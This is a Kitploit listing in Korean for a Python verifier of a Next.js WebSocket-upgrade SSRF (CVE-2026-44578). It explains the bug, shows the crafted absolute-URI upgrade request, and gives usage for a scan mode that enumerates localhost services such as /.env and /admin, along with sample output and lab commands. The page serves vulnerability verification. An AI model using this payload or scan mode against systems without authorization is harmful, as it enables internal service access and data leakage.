Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/panchocosil/verify-ghsa-c4j6-fc7j-m34r
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed Teaming
GitHubpanchocosil/verify-ghsa-c4j6-fc7j-m34r

verify-ghsa-c4j6-fc7j-m34r

GHSA-c4j6-fc7j-m34r / CVE-2026-44578 (Next.js WebSocket-upgrade SSRF)용 OOB 검증기

저장소 보기
23개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

verify-ghsa-c4j6-fc7j-m34r

GHSA-c4j6-fc7j-m34r / CVE-2026-44578에 대한 인밴드 검증기 — Next.js에서 WebSocket 업그레이드 요청을 통한 서버사이드 요청 위조(SSRF).

⚠️ 승인된 보안 테스트용으로만 사용하십시오. 이 스크립트에 전달하는 모든 대상에 대해 테스트할 권한이 있는지 확인하는 책임은 본인에게 있습니다.

취약점

필드값
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CWECWE-918 (SSRF)
CVSS v3.18.6 (높음) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
영향 받는 버전next >=13.4.13 <15.5.16, >=16.0.0 <16.2.5
패치된 버전15.5.16, 16.2.5
수정 커밋c4f69086
영향 받지 않는 경우Vercel 호스팅; output: "export"; Upgrade를 전달하지 않는 리버스 프록시 뒤에 배포된 경우

버그의 실제 작동 방식 (15.5.15 vs 15.5.16에서 경험적으로 검증됨)

  1. 공격자가 자체 호스팅 Next.js 프로세스에 TCP 연결을 열고 요청 URI가 절대 URL인 HTTP/1.1 WebSocket 업그레이드를 전송합니다:

    root@kitploit:~
    GET http://anything/<path> HTTP/1.1
    Host: <target>
    Connection: Upgrade
    Upgrade: websocket
    Sec-WebSocket-Version: 13
    Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
    
  2. resolveRoutes에서 URL에 //(모든 절대 URI에는 포함됨)가 포함되어 있어 "반복 슬래시 정규화" 분기와 일치합니다. 해당 분기는 { finished: true, statusCode: 308, parsedUrl: <mangled> }을 반환하며 조기에 종료됩니다. 정규화기는 http://host/path를 http:/host/path(슬래시 하나)로 축소합니다.

  3. router-server.ts에서 패치 전 업그레이드 핸들러는 finished/statusCode를 무시하고 parsedUrl.protocol만 확인했습니다. 프로토콜이 정규화에서 살아남았기 때문에 proxyRequest(...)를 호출했습니다.

  4. proxyRequest는 망가진 URL에 대해 url.format(parsedUrl)을 실행하여 http:/host:port/path를 얻습니다. http-proxy는 대상을 구문 분석하고 호스트를 찾지 못하며(url.parse('http:/...').host === null) 기본 대상인 localhost:80(또는 https의 경우 localhost:443)으로 폴백합니다.

  5. 따라서 실제로 SSRF를 통해 Next가 공격자가 제어하는 경로로 **Next.js 호스트 자체의 localhost:80 / localhost:443**에 WebSocket 업그레이드를 열도록 할 수 있습니다.

수정(커밋 c4f69086)은 업그레이드 핸들러가 프록시 전에 finished && !statusCode를 확인하도록 변경했습니다. 이제 308 정규화 케이스는 !statusCode 검사에서 실패하고 소켓이 대신 닫힙니다.

이 CVE에 콜백 기반 OOB 검증기가 작동하지 않는 이유

프록시는 외부 호스트에 도달하지 않습니다. interactsh / Burp Collaborator / webhook canary를 설정하고 Next 프로세스가 외부로 연락할 것으로 예상한다면 그렇지 않습니다 — 연결은 대상 머신의 localhost로 이동합니다. 따라서 이 검증기는 업그레이드 소켓에서 읽은 인밴드 신호를 사용합니다. 취약한 서버는 인식 가능한 오류 본문을 반환하고, 패치된 서버는 아무것도 반환하지 않습니다.

실질적 영향

SSRF 대상은 제한적이지만 실제 배포에서는 여전히 의미가 있습니다:

  • 동일한 호스트에 함께 배치된 사이드카 컨테이너 / 리버스 프록시 / 관리 패널에서 127.0.0.1:80 또는 :443에 바인딩되고 localhost에서 시작된 요청을 신뢰하는 경우.
  • 127.0.0.1:80에서 HTTP로 노출된 Docker 소켓 (드물지만 발견됨).
  • 공격자가 제어하는 URI 경로와 WebSocket 업그레이드 의미 체계를 사용하여 모든 localhost HTTP 서비스로의 경로 탐색.

AWS / GCP / Azure 메타데이터 엔드포인트(169.254.169.254)는 버그가 대상을 localhost로 고정하기 때문에 직접적으로 도달할 수 없습니다.

탐지 모델

각 대상에 대해 스크립트는 원시 TCP(또는 TLS) 소켓을 열고, 제작된 업그레이드를 전송하고, 응답을 읽고, 두 가지 신호를 생성합니다:

  • verdict — 버그가 존재하는지 여부.
  • impact_confirmed — SSRF가 실제로 데이터를 유출했는지 여부 (즉, 대상의 localhost:80/443에 있는 함께 배치된 서비스가 응답하고 응답을 받았는지).
응답Verdictimpact_confirmed
Internal Server Error 포함vulnerablefalse — 버그가 입증되었지만 프록시가 localhost에서 아무것도 적중하지 않음
HTTP/1.로 시작vulnerable_proxy_succeededtrue — 실제 응답 데이터 유출됨
빈 / 정상 종료likely_patchedfalse — "Not Next", "리버스 프록시가 Upgrade 제거", "Vercel"도 포함
업그레이드 없는 제어와 동일front_end_interceptsfalse — 프론트엔드 프록시가 두 프로브를 모두 차단; SSRF가 Next에 도달하지 못함
그 외inconclusivefalse

impact_confirmed가 true인 경우 JSON 출력에는 유출된 응답에서 구문 분석한 upstream_status, upstream_server 및 upstream_content_type도 포함됩니다 (분류 / 보고서 작성에 유용).

프론트엔드 프록시 거짓 긍정 보호

기본적으로 모든 대상은 동일한 절대 URI 요청 라인을 사용하지만 Upgrade 헤더가 없는 제어 프로브(Connection: close)도 수신합니다. 프론트엔드가 두 프로브에 동일한 응답(상태 라인 + 허용 오차 내 크기)을 반환하면 호스트의 프론트엔드 자체가 절대 URI 요청 라인을 거부하고 있는 것입니다(nginx 400, Apache 400, CDN 에지) — 따라서 SSRF가 Next에 도달하지 못했습니다. 판정은 front_end_intercepts로 낮춰지고 JSON 출력에는 프록시 응답에서 구문 분석한 front_end_status 및 front_end_server가 포함되어 운영자가 어떤 것이 차단하고 있는지 식별할 수 있습니다.

이로 인해 자체 호스팅 Next가 nginx/Apache 뒤에 있을 때 관찰된 실제 거짓 긍정이 제거됩니다. 이러한 프록시는 프로브의 GET http:///x HTTP/1.1 요청 라인을 일반 400으로 거부하며, 이전 검출기에서는 이를 vulnerable_proxy_succeeded로 잘못 읽었습니다. --no-control-probe를 전달하여 이 기능을 비활성화하고 원시 판정을 확인할 수 있습니다.

요구 사항

  • Python 3.10+
  • 타사 종속성 없음 (표준 라이브러리만)

사용법

root@kitploit:~
# 단일 대상
python3 verify_ghsa_c4j6.py --target https://app.example.com

# 플래그 반복으로 여러 대상
python3 verify_ghsa_c4j6.py \
    --target https://app1.example.com \
    --target app2.example.com:3000 \
    --target 10.0.0.5:80

# 파일에서 읽기 (한 줄에 하나의 대상; '#'은 주석)
python3 verify_ghsa_c4j6.py --targets-file targets.txt

# stdin에서 읽기
cat targets.txt | python3 verify_ghsa_c4j6.py

# 다운스트림 도구를 위한 JSON Lines 출력
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json

# 버그를 통해 대상의 localhost:80/443에서 함께 배치된 서비스 열거
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan

# 사용자 정의 경로 목록으로 동일
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt

스캔 모드

--scan은 SSRF 가젯을 통해 일반 경로의 내장 목록(Apache/nginx 상태 모듈, 상태 및 메트릭 엔드포인트, Spring Boot Actuator, Go pprof, Docker 데몬 엔드포인트, 일반 관리 패널, 누출 구성 파일, Elasticsearch 경로 등)을 탐색합니다.

기본적으로 스캔 모드는 대상당 하나의 추가 차등 기준 프로브(존재하지 않는 무작위 경로)를 실행합니다. 이후 프로브는 (status, body length) 서명이 기준과 다른 경우에만 DIFF로 태그됩니다. "아무것도 찾지 못한" 업스트림의 균일한 404는 noise로 표시되며 적중 횟수를 부풀리지 않습니다. --no-differential을 전달하면 서비스에 도달한 모든 프로브를 보고합니다(레거시 동작).

출력은 대상별로 그룹화됩니다:

root@kitploit:~
=== vulnscope.local:3030 ===
  baseline (random path): verdict=vulnerable_proxy_succeeded   status=404  bytes≈500
  [VULN+] DIFF  /                              impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /.env                          impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /admin                         impact=YES  status=200  ct='application/octet-stream'
  [VULN+] DIFF  /index.html                    impact=YES  status=200  ct='text/html'
  [VULN+] DIFF  /server-status                 impact=YES  status=200  ct='application/octet-stream'
  [VULN+] noise /_health                       impact=YES  status=404  ct='text/html;charset=utf-8'
  [VULN+] noise /actuator/env                  impact=YES  status=404  ct='text/html;charset=utf-8'
  ... (53 more 404 'noise' paths suppressed) ...
  -> 5 differential hit(s) / 58 probes
  -> upstream server(s) seen: SimpleHTTP/0.6 Python/3.14.4

DIFF 행은 실제 적중입니다 — 응답이 무작위 경로 기준과 다른 경로(상태 코드 다름, 본문 길이 다름). noise 행도 HTTP 서비스에 도달했지만 기준과 동일한 지루한 응답을 생성했습니다 — 일반적으로 운영자가 신경 쓰지 않는 균일한 404입니다. 모든 프로브가 noise이고 기준 차이가 없으면 버그는 여전히 존재하지만 해당 호스트의 localhost:80/443에서 유용한 것이 수신되지 않는 것입니다.

플래그

플래그설명기본값
--target URL단일 대상. 여러 번 반복 가능.—
--targets-file PATH한 줄에 하나의 대상이 있는 파일.—
--probe-path PATH제작된 절대 URI에 사용되는 경로. 대상의 localhost 서비스에 이 경로로 도달합니다(대상별 토큰 접미사로 기록됨)./x
--scan각 대상의 localhost 서비스에서 일반 경로 열거. 대상당 하나의 차등 기준 프로브와 경로 목록을 전송합니다.꺼짐
--scan-paths-file PATH스캔 모드용 사용자 정의 경로 목록 (한 줄에 하나). --scan을 암시합니다.내장
--no-differential--scan 모드에서 기준 프로브를 건너뛰고 서비스에 도달한 모든 프로브를 보고합니다(레거시 동작).꺼짐
--no-control-probe프론트엔드 단락 보호 비활성화 (대상당 업그레이드 없는 추가 프로브). 대상이 엄격히 직접적인 Next 프로세스로 알려진 경우 유용합니다.꺼짐
--timeout SEC소켓당 타임아웃.5
--concurrency N병렬 프로브.10
--insecureTLS 인증서 검증 건너뛰기. TLS를 MITM할 때 --proxy와 함께 필요합니다.꺼짐
--proxy URLHTTP CONNECT 프록시(Burp / mitmproxy / ZAP)를 통해 터널링. http://user:pass@host:port를 통해 기본 인증 지원. TLS 대상의 경우 Python 3.11+ 필요.직접
--json사람이 읽을 수 있는 텍스트 대신 JSON Lines 출력.꺼짐

대상은 host, host:port 또는 전체 http(s)://... URL일 수 있습니다.

프록시 지원

Burp / mitmproxy / OWASP ZAP에서 검사할 수 있도록 모든 프로브를 HTTP CONNECT 프록시를 통해 터널링:

root@kitploit:~
# Burp를 통한 일반 HTTP 대상
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080

# Burp를 통한 HTTPS 대상 (Burp가 TLS를 MITM함 — --insecure 필요 또는 Burp CA 설치)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure

# 기본 인증을 사용하는 프록시
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128

프록시는 CONNECT host:port 뒤에 원시 업그레이드 페이로드를 봅니다 — Burp가 SSRF 프로브를 기록/재생/수정하도록 하려는 경우 유용합니다.

로컬에서 재현

다섯 개의 명령으로 취약한 실습 환경을 실행할 수 있습니다:

root@kitploit:~
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030

출력:

root@kitploit:~
[ VULN] target=127.0.0.1:3030  verdict=vulnerable  impact= no
        snippet: 'Internal Server Error'

[email protected]으로 반복하면 verdict=likely_patched가 표시되어야 합니다.

영향 데모 (실제 데이터 유출)

demo_impact.sh는 Next를 :80에서 실행한 다음(localhost에 고정된 SSRF 대상이 동일한 Next 프로세스가 되도록 함) 버그를 통해 Next의 자체 HTML을 다시 읽습니다. 권한이 필요한 포트 바인딩을 위해 sudo가 필요합니다.

root@kitploit:~
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh

예상 출력 끝: IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back.

주의 사항

  • 거짓 음성: Next 앞에 있는 리버스 프록시가 Upgrade 헤더를 전달하지 않으면 취약점이 가려집니다. 스크립트는 likely_patched를 보고합니다. 가능하다면 Next 프로세스에 대해 직접 재테스트하십시오.
  • 거짓 긍정: 리터럴 문자열 Internal Server Error가 업스트림 프록시 자체에서 반환될 수 있습니다. 이를 배제하려면 Connection: Upgrade 대신 Connection: close로 동일한 페이로드를 다시 보내십시오. 실제 취약한 Next는 이 경우 다른 코드 경로로 인해 Internal Server Error 본문을 반환하지 않습니다.
  • HTTP/2 전용 대상: 처리되지 않습니다. next start는 기본적으로 HTTP/1.1입니다.

책임 있는 사용

소유하거나 명시적이고 서면으로 승인된 시스템만 테스트하십시오.

참조

  • 권고: https://github.com/advisories/GHSA-c4j6-fc7j-m34r
  • Next.js v15.5.16 릴리즈: https://github.com/vercel/next.js/releases/tag/v15.5.16
  • Next.js v16.2.5 릴리즈: https://github.com/vercel/next.js/releases/tag/v16.2.5
  • 수정 커밋: https://github.com/vercel/next.js/commit/c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8

라이선스

MIT

도구 다운로드